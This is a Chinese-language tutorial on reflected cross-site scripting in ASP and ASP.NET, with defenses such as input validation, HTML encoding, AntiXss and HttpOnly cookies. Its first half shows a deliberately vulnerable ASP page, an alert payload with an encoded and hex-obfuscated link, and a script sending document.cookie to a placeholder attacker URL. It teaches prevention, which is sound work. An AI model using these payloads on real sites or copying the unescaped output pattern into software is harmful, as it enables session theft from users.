跨站腳本XSS

1.概述

跨站腳本Cross-Site Scripting(XSS)是最爲流行的Web安全漏洞之一。據統計,2007年,跨站腳本類的安全漏洞的數目已經遠遠超出傳統類型的安全漏洞【1】。那麼,什麼是跨站腳本?它的危害性是什麼?Web開發人員如何在開發過程中避免這類的安全漏洞?就是我們這篇文章要討論的內容。

2.什麼是跨站腳本

2.1 跨站腳本介紹

跨站腳本,就是攻擊者可以將惡意的腳本代碼注入到用戶瀏覽的其它網頁上。它有好幾種類型。其中最爲普遍的類型稱爲反射類(Reflection)的跨站腳本。讓我們來看下面這個例子來具體說明XSS的機理。

以一個簡單的ASP網頁舉例。這個ASP網頁的目的很簡單:用戶輸入自身名字,ASP動態產生一個“hello world”的網頁。

testXSS.html

<html><head> <title>XSS Test Page</title> </head><body><form action="testXSS.asp" method="GET">XSS-test page. <br>Please enter your name:<input type="text" name="txtName" value=""></input><input type="submit" value="Hello"></input></form></body></html>

當用戶瀏覽到這個網頁時,就會顯示:

XSS1

輸入用戶的名字,例如foo。點擊Hello,就會產生以下ASP請求:

http://<server-url>/testXSS.asp?txtName=foo

下面是後臺ASP的代碼,

testXSS.asp

<html><head> <title>XSS Test Result ASP page</title> </head><body><%Response.Write("Hello world! ")Response.Write(Request.QueryString("txtname"))%></body></html>

動態生成的ASP網頁就是:

XSS2

這個ASP應用很簡單,看上去沒有任何功能上的問題。但是,它確存在着一個非常典型的反射類的跨站腳本漏洞。下面我們來看看攻擊者是如何利用的。

在用戶姓名欄中輸入腳本信息:

<script>alert("script injection\n"+document.cookie);</script><body>

發出的ASP的請求就是:

http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

那麼,動態生成的ASP 網頁中就包括了攻擊者插入的腳本

<html><head> <title>XSS Test Result ASP page</title> </head><body>Hello world! <script>alert("script injection\n"+document.cookie);</script></body></html>

用戶的Browser就會彈出以下窗口:

XSS3

跨站腳本除了Reflection類型外,還有其它幾種類型,例如基於DOM的跨站腳本和存儲型的跨站腳本,限於篇幅,這裏就不詳細討論了。有興趣的讀者可以參見【1】。

3. 跨站腳本的危害性

看了上面這個XSS的例子,那麼XSS的造成的危害在哪裏?下面我們通過一些問答來闡述XSS的危害性。

提問1:這不是攻擊者自己鍵入的腳本在自己的瀏覽環境中執行嗎?

其實不然,XSS的攻擊手段是誘使用戶點擊email或網頁中的URL鏈接,例如下面這個URL鏈接:

http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

這樣,當一個普通用戶點擊的這個鏈接的時候,攻擊者的腳本就可以在這個被攻擊用戶的瀏覽環境中執行了。

提問2:上面這個鏈接也太可疑了。腳本直接顯示在URL中,一般的用戶可能是不會點擊的吧?

沒錯。但是在真正的攻擊中,以上的script會以不同的形式編碼,例如下面這種鏈接:

http:// <server-url>/testXSS.asp?txtName=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%73%63%72%69%70%74%20%69%6E%6A%65%63%74%69%6F%6E%5C%6E%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E

對於這種鏈接,許多普通用戶可能就直接點擊了。尤其是如果Server-url是自己經常訪問的網站的話 。

提問3:只是顯示了document.cookie有什麼危害?

如果只是顯示cookies的話,當然不會造成任何影響。但是,上面這個例子只是一個示範。在真正的攻擊中,往往會將用戶的cookies直接發送到攻擊者控制的網站。例如使用以下腳本:

<script>document.location='http://<badguy-url>/cgi-bin/cookie.cgi? '%20+document.cookie</script>

提問4:竊取了document.cookie又有什麼危害?

這就要從瀏覽器安全的基本原則:同源原則SOP(Same-origin policy)講起。簡要的說,SOP意味着一個域的文檔或腳本,在未經用戶批准的情況下,不能獲取或修改另一個域的文檔的屬性。爲什麼需要SOP?你肯定不希望在訪問www.bad-url.com的時候它裏面的腳本可以閱讀www.hotmail.coml中的內容。

基於SOP,一個域存放的Cookie只能和該域的服務器打交道。例如,hotmail的Cookie只能給 hotmail服務器使用。其它任何網站都不能獲取這個Cookie。

正因爲Cookie的這個特性,在許多Web應用的設計上,都是先用https來驗證用戶的登錄名和密碼,然後發送一個特殊的Session Cookie來代表用戶驗證過的身份。舉個例子,如果hotmail存在在XSS漏洞,一個用戶的hotmail的session cookie就可能被攻擊者獲取。攻擊者然後就可以用這個session cookie,以這個用戶的身份訪問hotmail,從而造成敏感信息的泄漏(information disclosure)。

4.如何避免XSS安全漏洞

雖然在IE8中引入了客戶端的XSS過濾器以減少XSS對用戶造成的危害,但是XSS本質上是Web應用服務的漏洞,僅僅依賴客戶端的保護措施是不夠的。解決問題的根本是在Web應用程序的代碼中消除XSS安全漏洞。

以下是在Web應用的開發中避免XSS安全漏洞的幾個原則:

檢查所有產生動態網頁的代碼
判定動態網頁的內容是否包括不安全的輸入信息
對輸入進行校驗
對輸出進行編碼以過濾特殊字符

採用不同的Web開發工具,實施以上原則的具體步驟也不相同。下面我們就用微軟的ASP.NET來舉例。

設想如下的ASP.net應用【2】:

<%@ Page Language="C#" ValidateRequest="false" %><html><script runat="server">void btnSubmit_Click(Object sender, EventArgs e){// If ValidateRequest is false, then 'hello' is displayed// If ValidateRequest is true, then ASP.NET returns an exceptionResponse.Write(txtString.Text);}</script><body><form id="form1" runat="server"><asp:TextBox id="txtString" runat="server"Text="<script>alert('hello');</script>" /><asp:Button id="btnSubmit" runat="server"OnClick="btnSubmit_Click"Text="Submit" /></form></body></html>

細心的讀者可能注意到上面有一個特殊的設置ValidateRequest="false"。我們以後會對它詳細說明。

檢查所有產生動態網頁的代碼

ASP.net有兩種方式產生動態網頁。一個是通過Response.Write,一個是通過<%=。

判定動態網頁的內容是否包括用戶輸入的信息

例如,檢查Response.write的輸出數據的來源。上例中它的數據源於txtString,是源自用戶的輸入數據。

驗證用戶的輸入

ValidateRequest選項

缺省情況下,在ASP.NET的machine.config文件中,validateRequest選項是打開的。ASP.NET會自動對用戶輸入作一定的驗證。

例如,當ValidateRequest的值爲true的話,如果用戶輸入txtstring的值爲<script>alert('hello');</script>。ASP.NET會有產生如下異常信息:

HttpRequestValidationException (0x80004005): A potentially dangerous Request.Form value was detected from the client (txtString="<script>alert('hello...").]System.Web.HttpRequest.ValidateString(String s, String valueName, String collectionName) +3307682System.Web.HttpRequest.ValidateNameValueCollection(NameValueCollection nvc, String collectionName) +108System.Web.HttpRequest.get_Form() +119System.Web.HttpRequest.get_HasForm() +3309630System.Web.UI.Page.GetCollectionBasedOnMethod(Boolean dontReturnNull) +45System.Web.UI.Page.DeterminePostBackMode() +65System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +7350System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +213System.Web.UI.Page.ProcessRequest() +86System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +18System.Web.UI.Page.ProcessRequest(HttpContext context) +49

需要強調的一點是:ValidateRequest只是ASP.NET提供的深層防禦手段(Defense-in-Depth)。Web開發中不能僅依賴它,而沒有專門的對輸入的校驗代碼。

對不安全輸入信息的校驗。

校驗來自服務器端控制的輸入,可以考慮使用 ASP.NET中的 RegularExpressionValidator和 RangeValidator.
校驗來自客戶端HTML的輸入,例如QueryString,客戶端的輸入控制,Cookie等等,可以考慮使用System.Text.RegularExpressions.Regex類用正則表達式來驗證。
驗證其它非字符串的類型,如整數,日期,貨幣單位等等,可以考慮用.NET Framework數據類型校驗。

有興趣的讀者可以參考【3】獲取進一步的信息。

對輸出進行編碼以過濾特殊字符

當需要將一個字符串輸出到Web網頁時,但又不能完全確定這個字符串是否包括HTML的特殊字符,例如“<,>,&”等等,可以使用編碼(HTMLEncode)以過濾這些特殊字符。

有以下兩種HTMLEncode 手段

使用ASP.NET自身支持的HttpUtility。

例如:

Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));

使用微軟提供的反跨站腳本庫(Microsoft Anti-Cross Site Scripting Library V1.5 - AntiXss)。

AntiXSS是一個單獨下載的軟件庫。開發人員可以從http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en直接下載。

AntiXss的使用方式與HttpUtility類似:

String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);

那麼HttpUtility和AntiXss的區別是什麼?開發人員應該使用哪一種?

它們最大的區別在於HttpUtility.HtmlEncode採用的是黑名單驗證(Black list)方式。即HttpUtility.HtmlEncode僅僅過濾它知道的特殊字符,而允許其它的輸入。AntiXss.HtmlEncode採用的白名單驗證(White list)方式。它只允許輸出它認爲合法的字符,而過濾掉其它的所有字符。

兩者中,AntiXss.HtmlEncode要更爲安全,是推薦的使用手段。關於AntiXss的進一步信息,讀者可以參考【4】。

HttpOnly Cookie

HttpOnly cookie是一種對抗XSS安全漏洞的深層防禦手段。

Web應用可以通過設置如下的Http Respone頭信息將Cookie的屬性設爲HttpOnly。

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

IE6 SP1版本後就會確保客戶端的腳本不能使用屬性設爲HttpOnly 的Cookie。從而可以有效的降低XSS安全漏洞的危害程度。當然,如果用戶使用非IE瀏覽器,HttpOnly就無效了。關於HttpOnly Cookie的進一步信息,讀者可以參考【5】。

5.總結

跨站腳本XSS是最爲常見的一類Web安全漏洞。它會導致用戶敏感信息的丟失。Web開發人員在開發過程中應採取必要的校驗和編碼手段來避免XSS安全漏洞。

6.參考文獻

Cross-site scripting, http://en.wikipedia.org/wiki/Cross-site_scripting, Wikipedia
How To: Prevent Cross-Site Scripting in ASP.NET,
http://msdn.microsoft.com/en-au/library/ms998274.aspx#paght000004_step2, Microsoft
How To: Protect From Injection Attacks in ASP.NET,
http://msdn.microsoft.com/en-au/library/bb355989.aspx, Microsoft
Microsoft Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page,
http://msdn.microsoft.com/en-us/library/aa973813.aspx, Microsoft
Mitigating Cross-site Scripting With HTTP-only Cookies,
http://msdn.microsoft.com/en-us/library/ms533046.aspx, Microsoft
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章